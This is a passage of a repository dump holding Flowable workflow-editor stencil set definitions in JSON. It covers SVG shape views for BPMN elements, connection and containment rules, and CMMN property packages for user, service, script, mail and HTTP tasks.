d=\\\"\\r\\n\\t\\t\\tM62.926,15.69c0,1.986-3.62,6.551-31.267,6.551c-27.646,0-30.734-4.686-30.734-6.454 M0.925,11.137\\r\\n\\t\\t\\tc0,1.769,3.088,6.455,30.734,6.455c27.647,0,31.267-4.565,31.267-6.551 M0.925,6.487c0,2.35,3.088,6.455,30.734,6.455\\r\\n\\t\\t\\tc27.647,0,31.267-3.912,31.267-6.552 M62.926,6.391v4.844 M0.949,6.391v4.844 M62.926,11.041v4.844 M0.949,11.041v4.844\\\"/>\\r\\n\\t\\t\\t \\t\\r\\n\\t\\t<text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"31\\\" y=\\\"66\\\" oryx:align=\\\"center top\\\" stroke=\\\"black\\\" />\\r\\n\\t\\t\\t \\r\\n\\t</g>\\r\\n</svg>\\r\\n\",\n    \"icon\" : \"dataobject/data.store.png\",\n    \"groups\" : [ \"\\u6784\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"AdhocSubProcess\",\n    \"title\" : \"特别子流程\",\n    \"description\" : \"一个特别子过程\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"200\\\"\\n   height=\\\"160\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"50\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"110\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"70\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"130\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"50\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"110\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"70\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"130\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"80\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"120 100\\\" oryx:maximumSize=\\\"\\\" >\\n    <rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"190\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"200\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#ffffff\\\" />\\n\\t<text \\n\\t\\tfont-size=\\\"12\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"8\\\" \\n\\t\\ty=\\\"10\\\" \\n\\t\\toryx:align=\\\"top left\\\"\\n\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\toryx:anchors=\\\"left top\\\" \\n\\t\\tstroke=\\\"#373e48\\\">\\n\\t</text>\\n\\t\\n\\t<text \\n\\t\\toryx:anchors=\\\"bottom\\\"\\n\\t\\tx=\\\"101\\\"\\n\\t\\ty=\\\"157\\\"\\n\\t\\tfont-size=\\\"20\\\"\\n\\t\\ttransform=\\\"translate(8,0)\\\"\\n\\t>~</text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/adhoc.subprocess.png\",\n    \"groups\" : [ \"子流程\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"completionconditionpackage\", \"orderingpackage\", \"cancelremaininginstancespackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  } ],\n  \"rules\" : {\n    \"cardinalityRules\" : [ {\n      \"role\" : \"Startevents_all\",\n      \"incomingEdges\" : [ {\n        \"role\" : \"SequenceFlow\",\n        \"maximum\" : 0\n      } ]\n    }, {\n      \"role\" : \"Endevents_all\",\n      \"outgoingEdges\" : [ {\n        \"role\" : \"SequenceFlow\",\n        \"maximum\" : 0\n      } ]\n    } ],\n    \"connectionRules\" : [ {\n      \"role\" : \"SequenceFlow\",\n      \"connects\" : [ {\n        \"from\" : \"sequence_start\",\n        \"to\" : [ \"sequence_end\" ]\n      } ]\n    }, {\n      \"role\" : \"Association\",\n      \"connects\" : [ {\n        \"from\" : \"sequence_start\",\n        \"to\" : [ \"TextAnnotation\" ]\n      }, {\n        \"from\" : \"sequence_end\",\n        \"to\" : [ \"TextAnnotation\" ]\n      }, {\n        \"from\" : \"TextAnnotation\",\n        \"to\" : [ \"sequence_end\" ]\n      }, {\n        \"from\" : \"BoundaryCompensationEvent\",\n        \"to\" : [ \"sequence_end\" ]\n      }, {\n        \"from\" : \"TextAnnotation\",\n        \"to\" : [ \"sequence_start\" ]\n      }, {\n        \"from\" : \"BoundaryCompensationEvent\",\n        \"to\" : [ \"sequence_start\" ]\n      } ]\n    }, {\n      \"role\" : \"DataAssociation\",\n      \"connects\" : [ {\n        \"from\" : \"sequence_start\",\n        \"to\" : [ \"DataStore\" ]\n      }, {\n        \"from\" : \"sequence_end\",\n        \"to\" : [ \"DataStore\" ]\n      }, {\n        \"from\" : \"DataStore\",\n        \"to\" : [ \"sequence_end\" ]\n      }, {\n        \"from\" : \"DataStore\",\n        \"to\" : [ \"sequence_start\" ]\n      } ]\n    }, {\n      \"role\" : \"IntermediateEventOnActivityBoundary\",\n      \"connects\" : [ {\n        \"from\" : \"Activity\",\n        \"to\" : [ \"IntermediateEventOnActivityBoundary\" ]\n      } ]\n    } ],\n    \"containmentRules\" : [ {\n      \"role\" : \"BPMNDiagram\",\n      \"contains\" : [ \"all\" ]\n    }, {\n      \"role\" : \"SubProcess\",\n      \"contains\" : [ \"sequence_start\", \"sequence_end\", \"from_task_event\", \"to_task_event\", \"EventSubProcess\", \"TextAnnotation\", \"DataStore\" ]\n    }, {\n      \"role\" : \"AdhocSubProcess\",\n      \"contains\" : [ \"sequence_start\", \"sequence_end\", \"from_task_event\", \"to_task_event\", \"TextAnnotation\", \"DataStore\" ]\n    }, {\n      \"role\" : \"EventSubProcess\",\n      \"contains\" : [ \"sequence_start\", \"sequence_end\", \"from_task_event\", \"to_task_event\", \"TextAnnotation\", \"DataStore\" ]\n    }, {\n      \"role\" : \"Pool\",\n      \"contains\" : [ \"Lane\" ]\n    }, {\n      \"role\" : \"Lane\",\n      \"contains\" : [ \"sequence_start\", \"sequence_end\", \"EventSubProcess\", \"TextAnnotation\", \"DataStore\" ]\n    } ],\n    \"morphingRules\" : [ {\n      \"role\" : \"ActivitiesMorph\",\n      \"baseMorphs\" : [ \"UserTask\" ],\n      \"preserveBounds\" : true\n    }, {\n      \"role\" : \"GatewaysMorph\",\n      \"baseMorphs\" : [ \"ExclusiveGateway\" ]\n    }, {\n      \"role\" : \"StartEventsMorph\",\n      \"baseMorphs\" : [ \"StartNoneEvent\" ]\n    }, {\n      \"role\" : \"EndEventsMorph\",\n      \"baseMorphs\" : [ \"StartNoneEvent\" ]\n    }, {\n      \"role\" : \"CatchEventsMorph\",\n      \"baseMorphs\" : [ \"CatchTimerEvent\" ]\n    }, {\n      \"role\" : \"ThrowEventsMorph\",\n      \"baseMorphs\" : [ \"ThrowNoneEvent\" ]\n    }, {\n      \"role\" : \"BoundaryEventsMorph\",\n      \"baseMorphs\" : [ \"ThrowNoneEvent\" ]\n    }, {\n      \"role\" : \"BoundaryCompensationEvent\",\n      \"baseMorphs\" : [ \"BoundaryCompensationEvent\" ]\n    }, {\n      \"role\" : \"TextAnnotation\",\n      \"baseMorphs\" : [ \"TextAnnotation\" ]\n    }, {\n      \"role\" : \"DataStore\",\n      \"baseMorphs\" : [ \"DataStore\" ]\n    } ]\n  }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/resources/stencilset/stencilset_cmmn.json",
    "content": "{\n  \"title\" : \"CMMN editor\",\n  \"namespace\" : \"http://b3mn.org/stencilset/cmmn1.1#\",\n  \"description\" : \"CMMN case editor\",\n  \"propertyPackages\" : [ {\n    \"name\" : \"case_idpackage\",\n    \"properties\" : [ {\n      \"id\" : \"case_id\",\n      \"type\" : \"String\",\n      \"title\" : \"Case identifier\",\n      \"value\" : \"caseModel\",\n      \"description\" : \"Unique identifier of the case definition.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"overrideidpackage\",\n    \"properties\" : [ {\n      \"id\" : \"overrideid\",\n      \"type\" : \"String\",\n      \"title\" : \"Id\",\n      \"value\" : \"\",\n      \"description\" : \"Unique identifier of the element.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"namepackage\",\n    \"properties\" : [ {\n      \"id\" : \"name\",\n      \"type\" : \"String\",\n      \"title\" : \"Name\",\n      \"value\" : \"\",\n      \"description\" : \"The descriptive name of the CMMN element.\",\n      \"popular\" : true,\n      \"refToView\" : \"text_name\"\n    } ]\n  }, {\n    \"name\" : \"documentationpackage\",\n    \"properties\" : [ {\n      \"id\" : \"documentation\",\n      \"type\" : \"Text\",\n      \"title\" : \"Documentation\",\n      \"value\" : \"\",\n      \"description\" : \"The descriptive name of the CMMN element.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"blockingpackage\",\n    \"properties\" : [ {\n      \"id\" : \"isblocking\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Blocking\",\n      \"value\" : \"true\",\n      \"description\" : \"Boolean property, default true. If false the task will automatically complete the task after executing any associated logic\",\n      \"popular\" : true\n    },\n    {\n      \"id\" : \"isblockingexpression\",\n      \"type\" : \"String\",\n      \"title\" : \"Blocking expression\",\n      \"value\" : \"\",\n      \"description\" : \"An expression to control at runtime whether this task is blocking or not. When set, the value of the blocking property is ignored.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"case_initiatorvariablenamepackage\",\n    \"properties\" : [ {\n      \"id\" : \"case_initiatorvariablename\",\n      \"type\" : \"String\",\n      \"title\" : \"Initiator variable name\",\n      \"value\" : \"\",\n      \"description\" : \"Sets the variable name to be used for the case initiator value.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"case_authorpackage\",\n    \"properties\" : [ {\n      \"id\" : \"case_author\",\n      \"type\" : \"String\",\n      \"title\" : \"Case author\",\n      \"value\" : \"\",\n      \"description\" : \"Author of the case definition.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"case_versionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"case_version\",\n      \"type\" : \"String\",\n      \"title\" : \"Case version string (documentation only)\",\n      \"value\" : \"\",\n      \"description\" : \"Version identifier for documentation purpose.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"case_namespacepackage\",\n    \"properties\" : [ {\n      \"id\" : \"case_namespace\",\n      \"type\" : \"String\",\n      \"title\" : \"Target namespace\",\n      \"value\" : \"http://www.flowable.org/casedef\",\n      \"description\" : \"Target namespace for the case definition.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"usertaskassignmentpackage\",\n    \"properties\" : [ {\n      \"id\" : \"usertaskassignment\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Assignments\",\n      \"value\" : \"\",\n      \"description\" : \"Assignment definition for the user task\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"formpropertiespackage\",\n    \"properties\" : [ {\n      \"id\" : \"formproperties\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Form properties\",\n      \"value\" : \"\",\n      \"description\" : \"Definition of the form with a list of form properties\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"formkeydefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"formkeydefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"Form key\",\n      \"value\" : \"\",\n      \"description\" : \"Form key that provides a reference to a form.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"duedatedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"duedatedefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"Due date\",\n      \"value\" : \"\",\n      \"description\" : \"Due date of the user task.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"prioritydefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"prioritydefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"Priority\",\n      \"value\" : \"\",\n      \"description\" : \"Priority of the user task.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskclasspackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskclass\",\n      \"type\" : \"String\",\n      \"title\" : \"Class\",\n      \"value\" : \"\",\n      \"description\" : \"Class that implements the service task logic.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskexpression\",\n      \"type\" : \"Text\",\n      \"title\" : \"Expression\",\n      \"value\" : \"\",\n      \"description\" : \"Service task logic defined with an expression.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskdelegateexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskdelegateexpression\",\n      \"type\" : \"Text\",\n      \"title\" : \"Delegate expression\",\n      \"value\" : \"\",\n      \"description\" : \"Service task logic defined with a delegate expression.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskfieldspackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskfields\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Class fields\",\n      \"value\" : \"\",\n      \"description\" : \"Field extensions\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskresultvariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskresultvariable\",\n      \"type\" : \"String\",\n      \"title\" : \"Result variable name\",\n      \"value\" : \"\",\n      \"description\" : \"Process variable name to store the service task result.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"scriptformatpackage\",\n    \"properties\" : [ {\n      \"id\" : \"scriptformat\",\n      \"type\" : \"String\",\n      \"title\" : \"Script format\",\n      \"value\" : \"\",\n      \"description\" : \"Script format of the script task.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"scripttextpackage\",\n    \"properties\" : [ {\n      \"id\" : \"scripttext\",\n      \"type\" : \"Text\",\n      \"title\" : \"Script\",\n      \"value\" : \"\",\n      \"description\" : \"Script text of the script task.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"asyncpackage\",\n    \"properties\" : [ {\n      \"id\" : \"isasync\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Asynchronous\",\n      \"value\" : \"\",\n      \"description\" : \"Indicates if the task needs to be executed asynchronously.\",\n      \"popular\" : true\n    }, {\n      \"id\" : \"isexclusive\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Exclusive\",\n      \"value\" : \"\",\n      \"description\" : \"Indicates if an asynchronous task must be executed exclusively\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtasktopackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskto\",\n      \"type\" : \"Text\",\n      \"title\" : \"To\",\n      \"value\" : \"\",\n      \"description\" : \"The recipients if the e-mail. Multiple recipients are defined in a comma-separated list.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskfrompackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskfrom\",\n      \"type\" : \"Text\",\n      \"title\" : \"From\",\n      \"value\" : \"\",\n      \"description\" : \"The sender e-mail address. If not provided, the default configured from address is used.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtasksubjectpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtasksubject\",\n      \"type\" : \"Text\",\n      \"title\" : \"Subject\",\n      \"value\" : \"\",\n      \"description\" : \"The subject of the e-mail.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskccpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskcc\",\n      \"type\" : \"Text\",\n      \"title\" : \"Cc\",\n      \"value\" : \"\",\n      \"description\" : \"The cc's of the e-mail. Multiple recipients are defined in a comma-separated list\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskbccpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskbcc\",\n      \"type\" : \"Text\",\n      \"title\" : \"Bcc\",\n      \"value\" : \"\",\n      \"description\" : \"The bcc's of the e-mail. Multiple recipients are defined in a comma-separated list\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtasktextpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtasktext\",\n      \"type\" : \"Text\",\n      \"title\" : \"Text\",\n      \"value\" : \"\",\n      \"description\" : \"The content of the e-mail, in case one needs to send plain none-rich e-mails. Can be used in combination with html, for e-mail clients that don't support rich content. The client will then fall back to this text-only alternative.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskhtmlpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskhtml\",\n      \"type\" : \"Text\",\n      \"title\" : \"Html\",\n      \"value\" : \"\",\n      \"description\" : \"A piece of HTML that is the content of the e-mail.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskcharsetpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskcharset\",\n      \"type\" : \"String\",\n      \"title\" : \"Charset\",\n      \"value\" : \"\",\n      \"description\" : \"Allows to change the charset of the email, which is necessary for many non-English languages. \",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestmethodpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestmethod\",\n      \"type\" : \"String\",\n      \"title\" : \"Request method\",\n      \"value\" : \"\",\n      \"description\" : \"Request method (For example - GET,POST,PUT etc).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequesturlpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequesturl\",\n      \"type\" : \"Text\",\n      \"title\" : \"Request URL\",\n      \"value\" : \"\",\n      \"description\" : \"Request URL (For example - http://flowable.org).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestheaderspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestheaders\",\n      \"type\" : \"Text\",\n      \"title\" : \"Request headers\",\n      \"value\" : \"\",\n      \"description\" : \"Line separated HTTP request headers (For example - Content-Type: application/json).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestbodypackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestbody\",\n      \"type\" : \"Text\",\n      \"title\" : \"Request body\",\n      \"value\" : \"\",\n      \"description\" : \"Request body (For example- ${sampleBody}).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequesttimeoutpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequesttimeout\",\n      \"type\" : \"String\",\n      \"title\" : \"Request timeout\",\n      \"value\" : \"\",\n      \"description\" : \"Timeout in milliseconds for the request (For example - 5000).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskdisallowredirectspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskdisallowredirects\",\n      \"type\" : \"String\",\n      \"title\" : \"Disallow redirects\",\n      \"value\" : \"\",\n      \"description\" : \"Flag to disallow HTTP redirects.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskfailstatuscodespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskfailstatuscodes\",\n      \"type\" : \"String\",\n      \"title\" : \"Fail status codes\",\n      \"value\" : \"\",\n      \"description\" : \"Comma separated list of HTTP response status codes to retry, for example 400,5XX.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskhandlestatuscodespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskhandlestatuscodes\",\n      \"type\" : \"String\",\n      \"title\" : \"Handle status codes\",\n      \"value\" : \"\",\n      \"description\" : \"Comma separated list of HTTP response status codes to ignore, for example 404,3XX.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskignoreexceptionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskignoreexception\",\n      \"type\" : \"String\",\n      \"title\" : \"Ignore exception\",\n      \"value\" : \"\",\n      \"description\" : \"Flag to ignore exceptions.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskresponsevariablenamepackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskresponsevariablename\",\n      \"type\" : \"String\",\n      \"title\" : \"Response variable name\",\n      \"value\" : \"\",\n      \"description\" : \"Define the variable name to store the http response.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptasksaverequestvariablespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaverequestvariables\",\n      \"type\" : \"String\",\n      \"title\" : \"Save request variables\",\n      \"value\" : \"\",\n      \"description\" : \"Flag to save request variables.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptasksaveresponseparameterspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaveresponseparameters\",\n      \"type\" : \"String\",\n      \"title\" : \"Save response status, headers\",\n      \"value\" : \"\",\n      \"description\" : \"Flag to save response status, headers etc.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskresultvariableprefixpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskresultvariableprefix\",\n      \"type\" : \"String\",\n      \"title\" : \"Result variable prefix\",\n      \"value\" : \"\",\n      \"description\" : \"Prefix for the execution variable names.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"textpackage\",\n    \"properties\" : [ {\n      \"id\" : \"text\",\n      \"type\" : \"String\",\n      \"title\" : \"Text\",\n      \"value\" : \"\",\n      \"description\" : \"The text of the text annotation.\",\n      \"popular\" : true,\n      \"refToView\" : \"text\"\n    } ]\n  }, {\n    \"name\" : \"formreferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"formreference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Form reference\",\n      \"value\" : \"\",\n      \"description\" : \"Reference to a form\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"decisiontaskdecisiontablereferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"decisiontaskdecisiontablereference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Decision table reference\",\n      \"value\" : \"\",\n      \"description\" : \"Set the decision table reference\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"decisiontaskthrowerroronnohitspackage\",\n    \"properties\" : [ {\n      \"id\" : \"decisiontaskthrowerroronnohits\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Throw error if no rules were hit\",\n      \"value\" : \"false\",\n      \"description\" : \"Should an error be thrown if no rules of the decision table were hit and consequently no result was found.\",\n      \"popular\" : true\n    } ]\n  }, {\n      \"name\": \"httptaskrequestmethodpackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskrequestmethod\",\n          \"type\": \"String\",\n          \"title\": \"Request method\",\n          \"value\": \"\",\n          \"description\": \"Request method (For example - GET,POST,PUT etc).\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskrequesturlpackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskrequesturl\",\n          \"type\": \"Text\",\n          \"title\": \"Request URL\",\n          \"value\": \"\",\n          \"description\": \"Request URL (For example - http://flowable.org).\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskrequestheaderspackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskrequestheaders\",\n          \"type\": \"Text\",\n          \"title\": \"Request headers\",\n          \"value\": \"\",\n          \"description\": \"Line separated HTTP request headers (For example - Content-Type: application/json).\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskrequestbodypackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskrequestbody\",\n          \"type\": \"Text\",\n          \"title\": \"Request body\",\n          \"value\": \"\",\n          \"description\": \"Request body (For example- ${sampleBody}).\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskrequesttimeoutpackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskrequesttimeout\",\n          \"type\": \"String\",\n          \"title\": \"Request timeout\",\n          \"value\": \"\",\n          \"description\": \"Timeout in milliseconds for the request (For example - 5000).\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskdisallowredirectspackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskdisallowredirects\",\n          \"type\": \"String\",\n          \"title\": \"Disallow redirects\",\n          \"value\": \"\",\n          \"description\": \"Flag to disallow HTTP redirects.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskfailstatuscodespackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskfailstatuscodes\",\n          \"type\": \"String\",\n          \"title\": \"Fail status codes\",\n          \"value\": \"\",\n          \"description\": \"Comma separated list of HTTP response status codes to retry, for example 400,5XX.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskhandlestatuscodespackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskhandlestatuscodes\",\n          \"type\": \"String\",\n          \"title\": \"Handle status codes\",\n          \"value\": \"\",\n          \"description\": \"Comma separated list of HTTP response status codes to ignore, for example 404,3XX.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskignoreexceptionpackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskignoreexception\",\n          \"type\": \"String\",\n          \"title\": \"Ignore exception\",\n          \"value\": \"\",\n          \"description\": \"Flag to ignore exceptions.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskresponsevariablenamepackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskresponsevariablename\",\n          \"type\": \"String\",\n          \"title\": \"Response variable name\",\n          \"value\": \"\",\n          \"description\": \"Define the variable name to store the http response.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptasksaverequestvariablespackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptasksaverequestvariables\",\n          \"type\": \"String\",\n          \"title\": \"Save request variables\",\n          \"value\": \"\",\n          \"description\": \"Flag to save request variables.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptasksaveresponseparameterspackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptasksaveresponseparameters\",\n          \"type\": \"String\",\n          \"title\": \"Save response status, headers\",\n          \"value\": \"\",\n          \"description\": \"Flag to save response status, headers etc.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\": \"httptaskresultvariableprefixpackage\",\n      \"properties\": [\n        {\n          \"id\": \"httptaskresultvariableprefix\",\n          \"type\": \"String\",\n          \"title\": \"Result variable prefix\",\n          \"value\": \"\",\n          \"description\": \"Prefix for the execution variable names.\",\n          \"popular\": true\n        }\n      ]\n    },\n    {\n      \"name\" : \"httptasksaveresponseparameterstransientpackage\",\n      \"properties\" : [ {\n        \"id\" : \"httptasksaveresponseparameterstransient\",\n        \"type\" : \"String\",\n        \"title\" : \"Save response as a transient variable\",\n        \"value\" : \"\",\n        \"description\" : \"Flag indicating to store the response variable(s) transient\",\n        \"popular\" : true\n      } ]\n    }, \n    {\n      \"name\" : \"httptasksaveresponseasjsonpackage\",\n      \"properties\" : [ {\n        \"id\" : \"httptasksaveresponseasjson\",\n        \"type\" : \"String\",\n        \"title\" : \"Save response as JSON\",\n        \"value\" : \"\",\n        \"description\" : \"Flag indicating to store the response variable as a JSON variable instead of a String\",\n        \"popular\" : true\n      